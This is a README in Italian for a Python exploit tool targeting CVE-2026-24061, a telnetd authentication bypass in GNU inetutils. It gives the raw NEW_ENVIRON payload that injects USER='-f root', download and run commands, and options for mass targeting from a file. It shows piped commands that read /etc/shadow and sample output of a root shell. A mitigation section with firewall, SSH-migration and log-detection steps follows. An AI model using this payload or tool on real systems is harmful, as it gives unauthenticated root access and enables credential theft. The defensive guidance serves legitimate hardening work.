
Prova di concetto: CVE-2026-24061 è una vulnerabilità critica di bypass dell'autenticazione in GNU inetutils-telnetd che consente a remoti aggressori non autenticati di ottenere immediatamente l'accesso a una shell di root tramite lo sfruttamento dannoso dell'opzione telnet NEW_ENVIRON.
Uno strumento di ricerca sulla sicurezza per lo sfruttamento di CVE-2026-24061, una vulnerabilità critica di bypass dell'autenticazione remota in GNU inetutils-telnetd che consente l'accesso immediato a una shell di root senza autenticazione.
| Campo | Valore |
|---|---|
| Identificatore CVE | CVE-2026-24061 |
| Punteggio CVSS v3.1 | 9.8 (Critico) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Classificazione CWE | CWE-88: Neutralizzazione impropria dei delimitatori di argomenti in un comando |
| Fornitore | GNU Project |
| Prodotto | inetutils-telnetd |
| Data di divulgazione | 20 gennaio 2026 |
| Patch disponibile | Da determinare (TBD) |
Esiste una vulnerabilità critica in GNU inetutils-telnetd fino alla versione 2.7 che consente a utenti remoti non autenticati di bypassare completamente l'autenticazione e ottenere immediato accesso a una shell di root. La vulnerabilità viene sfruttata tramite l'opzione telnet NEW_ENVIRON iniettando una variabile d'ambiente USER appositamente predisposta con il valore "-f root", che aggira tutti i meccanismi di autenticazione.
| Intervallo di versioni | Stato |
|---|---|
| <= 2.7 | Vulnerabile |
| > 2.7 | Stato della patch da determinare |
La vulnerabilità ha origine dalla convalida impropria della variabile d'ambiente USER nel gestore dell'opzione NEW_ENVIRON di telnetd. Durante l'elaborazione dell'opzione telnet NEW_ENVIRON, il servizio telnetd non riesce a sanificare il valore della variabile USER prima di passarlo al processo di login. Impostando USER su "-f root", l'attaccante inietta argomenti da riga di comando che forzano il successo dell'autenticazione per l'utente root senza richiedere credenziali.
Tutte le dipendenze fanno parte della libreria standard di Python:
# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Run the exploit
python3 main.py -u <target_ip>
# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Make it executable (Linux/macOS)
chmod +x main.py
# Run the exploit
python3 main.py -u <target_ip>
# Ensure Python 3.7+ is installed
python3 --version
# Download and run
python3 main.py -u <target_ip>
Usage:
python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
echo "commands" | python3 main.py -u <target_ip>
Arguments:
-u Single target IP address or hostname
-l Path to file containing target IPs (one per line)
-p Target port (default: 23)
-usr User to exploit as (default: root)
Sfrutta una singola istanza telnetd:
# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100
# Custom port
python3 main.py -u 192.168.1.100 -p 2323
# Different user
python3 main.py -u 192.168.1.100 -usr admin
Esegui comandi in modalità non interattiva:
# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
Sfrutta più target da un file:
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
Formato del file dei target (targets.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
Note:
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
Lo strumento sfrutta la fase di negoziazione del protocollo telnet:
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])
select.select() per il monitoraggio simultaneo di socket e stdinDisattivare telnetd: Arrestare e disabilitare immediatamente il servizio telnetd
# systemd-based systems
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# xinetd-based systems
sudo service xinetd stop
sudo chkconfig telnet off
Regole del firewall: Bloccare la porta telnet (23) a livello di firewall
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload
Isolamento di rete: Rimuovere il servizio telnet dai sistemi esposti a Internet
Utilizzare SSH al posto di Telnet:
# Install OpenSSH server
sudo apt-get install openssh-server # Debian/Ubuntu
sudo yum install openssh-server # RHEL/CentOS
# Enable and start SSH
sudo systemctl enable sshd
sudo systemctl start sshd
# Verify telnetd is not running
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23
# Should return no results if properly disabled
Esaminare i log di sistema per i seguenti modelli:
Log di autenticazione:
# Check for unusual login patterns
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure
# Look for suspicious USER environment variables
sudo grep "USER.*-f" /var/log/auth.log
Log di rete:
# Check for active telnet connections
sudo netstat -antp | grep :23
# Review recent root logins
sudo last | grep root
# Check for modified system files
sudo rpm -Va # RHEL/CentOS
sudo debsums -c # Debian/Ubuntu
# List processes by root
sudo ps aux | grep root
# Check for unauthorized SSH keys
sudo cat /root/.ssh/authorized_keys
IMPORTANTE: LEGGERE PRIMA DELL'USO
Questo strumento è fornito esclusivamente per:
Usi proibiti:
Responsabilità: Gli autori, i collaboratori e i distributori di questo software non si assumono ALCUNA responsabilità per usi impropri, danni o attività illegali condotte con questo strumento. Gli utenti sono gli unici responsabili di:
Avviso legale: L'accesso non autorizzato a sistemi informatici è un grave reato penale. Le violazioni possono comportare azioni penali ai sensi di:
Le sanzioni possono includere la reclusione, multe sostanziali e responsabilità civile.
Utilizzando questo strumento, dichiari di aver letto, compreso e accettato di rispettare questo disclaimer e tutte le leggi applicabili.
| Versione | Data | Modifiche |
|---|---|---|
| 1.0.0 | 2026-01-23 | Rilascio iniziale |
Per domande, problemi o contributi:
Questo progetto è fornito così com'è esclusivamente per ricerca sulla sicurezza autorizzata e scopi educativi. Non viene fornita alcuna garanzia, esplicita o implicita. Usalo a tuo rischio e in conformità con tutte le leggi e i regolamenti applicabili.
USARE SOLO CON LA DOVUTA AUTORIZZAZIONE
| Pacchetto | Scopo |
|---|
| socket | Comunicazione di rete |
| select | Multiplexing I/O |
| sys | Interazione con il sistema |
| os | Interfaccia del sistema operativo |
| threading | Sfruttamento concorrente dei target |
| datetime | Formattazione dei timestamp |
| Indicatore | Colore | Descrizione |
|---|
[SUCCESS] | Verde | Connessione al target riuscita |
[EXPLOIT] | Verde | Payload di sfruttamento inviato correttamente |
[INFO] | Blu | Messaggio informativo sull'operazione corrente |
[ERROR] | Rosso | Errore di connessione, timeout o errore di sfruttamento |
[WARNING] | Giallo | Messaggio di avviso (attualmente non utilizzato) |
| Azione | Priorità | Descrizione |
|---|
| Migrazione a SSH | Critica | Sostituire telnet con SSH per l'accesso remoto |
| Gestione delle patch | Critica | Monitorare e applicare gli aggiornamenti di sicurezza |
| Audit dei servizi | Alta | Identificare e disabilitare i servizi di rete non necessari |
| Segmentazione di rete | Alta | Isolare i sistemi critici dalle reti pubbliche |
| Rilevamento delle intrusioni | Media | Implementare IDS/IPS per rilevare i tentativi di sfruttamento |
| Controllo degli accessi | Media | Implementare la whitelist IP per i servizi remoti |